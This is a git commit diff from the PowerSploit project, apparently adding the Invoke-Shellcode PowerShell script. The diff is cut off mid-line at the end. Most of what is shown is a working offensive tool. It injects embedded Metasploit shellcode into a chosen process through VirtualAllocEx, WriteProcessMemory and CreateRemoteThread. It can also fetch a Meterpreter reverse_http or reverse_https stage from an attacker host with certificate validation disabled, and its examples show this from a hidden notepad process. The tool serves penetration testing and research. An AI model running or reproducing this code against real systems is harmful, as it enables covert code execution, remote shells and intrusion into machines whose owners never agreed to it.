diff options
author | mattifestation <mattgraeber@gmail.com> | 2015-02-03 21:24:28 -0500 |
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committer | mattifestation <mattgraeber@gmail.com> | 2015-02-03 21:24:46 -0500 |
commit | 59b35d1470698b04168275b0ec65fb7905fa72f7 (patch) | |
tree | 4c901a6776bbf7c90b940a435f7f4bc4ee411d6b /CodeExecution | |
parent | a574705ce2dfe93ee7450840b0ba1a6424dbf5ad (diff) | |
download | PowerSploit-59b35d1470698b04168275b0ec65fb7905fa72f7.tar.gz PowerSploit-59b35d1470698b04168275b0ec65fb7905fa72f7.zip |
Moved Invoke-Shellcode
These things happen
Diffstat (limited to 'CodeExecution')
-rw-r--r-- | CodeExecution/CodeExecution.psd1 | 2 | ||||
-rw-r--r-- | CodeExecution/CodeExecution.psm1 | 2 | ||||
-rw-r--r-- | CodeExecution/Invoke--Shellcode.ps1 | 713 | ||||
-rw-r--r-- | CodeExecution/Invoke-Shellcode.ps1 | 721 |
4 files changed, 723 insertions, 715 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 85258a5..b67cc9e 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -73,7 +73,7 @@ AliasesToExport = '' ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}) # List of all files packaged with this module -FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', +FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1', 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1 index 81d3818..934fa38 100644 --- a/CodeExecution/CodeExecution.psm1 +++ b/CodeExecution/CodeExecution.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | ? {$_.Name -ne 'Invoke-Shellcode.ps1'} | % { . $_.FullName} diff --git a/CodeExecution/Invoke--Shellcode.ps1 b/CodeExecution/Invoke--Shellcode.ps1 new file mode 100644 index 0000000..4d776d9 --- /dev/null +++ b/CodeExecution/Invoke--Shellcode.ps1 @@ -0,0 +1,713 @@ +function Invoke-Shellcode +{ +<# +.SYNOPSIS + +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. + +.PARAMETER ProcessID + +Process ID of the process you want to inject shellcode into. + +.PARAMETER Shellcode + +Specifies an optional shellcode passed in as a byte array + +.PARAMETER ListMetasploitPayloads + +Lists all of the available Metasploit payloads that Invoke-Shellcode supports + +.PARAMETER Lhost + +Specifies the IP address of the attack machine waiting to receive the reverse shell + +.PARAMETER Lport + +Specifies the port of the attack machine waiting to receive the reverse shell + +.PARAMETER Payload + +Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. + +.PARAMETER UserAgent + +Optionally specifies the user agent to use when using meterpreter http or https payloads + +.PARAMETER Force + +Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ProcessId 4274 + +Description +----------- +Inject shellcode into process ID 4274. + +.EXAMPLE + +C:\PS> Invoke-Shellcode + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +.EXAMPLE + +C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden +C:\PS> $Proc = Get-Process notepad +C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose + +VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM +VERBOSE: Injecting shellcode into PID: 4004 +VERBOSE: Injecting into a Wow64 process. +VERBOSE: Using 32-bit shellcode. +VERBOSE: Shellcode memory reserved at 0x03BE0000 +VERBOSE: Emitting 32-bit assembly call stub. +VERBOSE: Thread call stub memory reserved at 0x001B0000 +VERBOSE: Shellcode injection complete! + +Description +----------- +Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_https): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 443 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 + +Description +----------- +Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_http): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 80 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ListMetasploitPayloads + +Payloads +-------- +windows/meterpreter/reverse_http +windows/meterpreter/reverse_https + +.NOTES + +Use the '-Verbose' option to print detailed information. + +Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter + +Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ + +.LINK + +http://www.exploit-monday.com +#> + +[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateSet( 'windows/meterpreter/reverse_http', + 'windows/meterpreter/reverse_https', + IgnoreCase = $True )] + [String] + $Payload = 'windows/meterpreter/reverse_http', + + [Parameter( ParameterSetName = 'ListPayloads' )] + [Switch] + $ListMetasploitPayloads, + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateNotNullOrEmpty()] + [String] + $Lhost = '127.0.0.1', + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateRange( 1,65535 )] + [Int] + $Lport = 8443, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [String] + $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', + + [Switch] + $Force = $False +) + + Set-StrictMode -Version 2.0 + + # List all available Metasploit payloads and exit the function + if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') + { + $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | + Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} + + foreach ($Payload in $AvailablePayloads.ValidValues) + { + New-Object PSObject -Property @{ Payloads = $Payload } + } + + Return + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Ensure a valid process ID was provided + # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive + Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null + } + + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload + function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) + { + $IntSizePtr = $Architecture / 8 + + function Local:ConvertTo-LittleEndian ([IntPtr] $Address) + { + $LittleEndianByteArray = New-Object Byte[](0) + $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } + [System.Array]::Reverse($LittleEndianByteArray) + + Write-Output $LittleEndianByteArray + } + + $CallStub = New-Object Byte[](0) + + if ($IntSizePtr -eq 8) + { + [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL RAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL RAX + } + else + { + [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL EAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL EAX + } + + Write-Output $CallStub + } + + function Local:Inject-RemoteShellcode ([Int] $ProcessID) + { + # Open a handle to the process you want to inject into + $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) + + if (!$hProcess) + { + Throw "Unable to open a process handle for PID: $ProcessID" + } + + $IsWow64 = $false + + if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + { + # Determine is the process specified is 32 or 64 bit + $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null + + if ((!$IsWow64) -and $PowerShell32bit) + { + Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + } + elseif ($IsWow64) # 32-bit Wow64 process + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Injecting into a Wow64 process.' + Write-Verbose 'Using 32-bit shellcode.' + } + else # 64-bit process + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + } + else # 32-bit CPU + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + + # Reserve and commit enough memory in remote process to hold the shellcode + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteMemAddr) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode into the previously allocated memory + $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($IsWow64) + { + # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate inline assembly stub + $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteStubAddr) + { + Throw "Unable to allocate thread call stub memory in PID: $ProcessID" + } + + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Write 32-bit assembly stub to remote process memory space + $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null + + # Execute shellcode as a remote thread + $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) + + if (!$ThreadHandle) + { + Throw "Unable to launch remote thread in PID: $ProcessID" + } + + # Close process handle + $CloseHandle.Invoke($hProcess) | Out-Null + + Write-Verbose 'Shellcode injection complete!' + } + + function Local:Inject-LocalShellcode + { + if ($PowerShell32bit) { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + return + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + else + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + return + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + + # Allocate RWX memory for the shellcode + $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$BaseAddress) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($PowerShell32bit) + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate RWX memory for the thread call stub + $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$CallStubAddress) + { + Throw "Unable to allocate thread call stub." + } + + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy call stub to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) + + # Launch shellcode in it's own thread + $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) + if (!$ThreadHandle) + { + Throw "Unable to launch thread." + } + + # Wait for shellcode thread to terminate + $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null + + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + + Write-Verbose 'Shellcode injection complete!' + } + + # A valid pointer to IsWow64Process will be returned if CPU is 64-bit + $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process + if ($IsWow64ProcessAddr) + { + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + + $64bitCPU = $true + } + else + { + $64bitCPU = $false + } + + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $true + } + else + { + $PowerShell32bit = $false + } + + if ($PsCmdlet.ParameterSetName -eq 'Metasploit') + { + if (!$PowerShell32bit) { + # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell + # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function + + # Pull out just the content of the this script's invocation. + $RootInvocation = $MyInvocation.Line + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", + "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } + + if ( !$Response ) + { + # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function + Return + } + + # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. + if ($MyInvocation.BoundParameters['Force']) + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" + } + else + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" + } + + $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) + $EncodedCommand = [Convert]::ToBase64String($CommandBytes) + + $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" + Invoke-Expression -Command $Execute | Out-Null + + # Exit the script since the shellcode will be running from x86 PowerShell + Return + } + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", + "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } + + if ( !$Response ) + { + # User opted not to carry out download of Metasploit payload. Exit function + Return + } + + switch ($Payload) + { + 'windows/meterpreter/reverse_http' + { + $SSL = '' + } + + 'windows/meterpreter/reverse_https' + { + $SSL = 's' + # Accept invalid certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + } + } + + # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? + $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" + Write-Verbose "Requesting meterpreter payload from $Request" + + $Uri = New-Object Uri($Request) + $WebClient = New-Object System.Net.WebClient + $WebClient.Headers.Add('user-agent', "$UserAgent") + + try + { + [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) + } + catch + { + Throw "$($Error[0].Exception.InnerException.InnerException.Message)" + } + [Byte[]] $Shellcode64 = $Shellcode32 + + } + elseif ($PSBoundParameters['Shellcode']) + { + # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets + # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. + [Byte[]] $Shellcode32 = $Shellcode + [Byte[]] $Shellcode64 = $Shellcode32 + } + else + { + # Pop a calc... or whatever shellcode you decide to place in here + # I sincerely hope you trust that this shellcode actually pops a calc... + # Insert your shellcode here in the for 0xXX,0xXX,... + # 32-bit payload + # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit payload + # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Inject shellcode into the specified process ID + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + Write-Verbose "Injecting shellcode into PID: $ProcessId" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } + else + { + # Inject shellcode into the currently running PowerShell process + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + + Write-Verbose "Injecting shellcode into PowerShell" + + if ( $Force -or $psCmdlet.ShouldContinue( 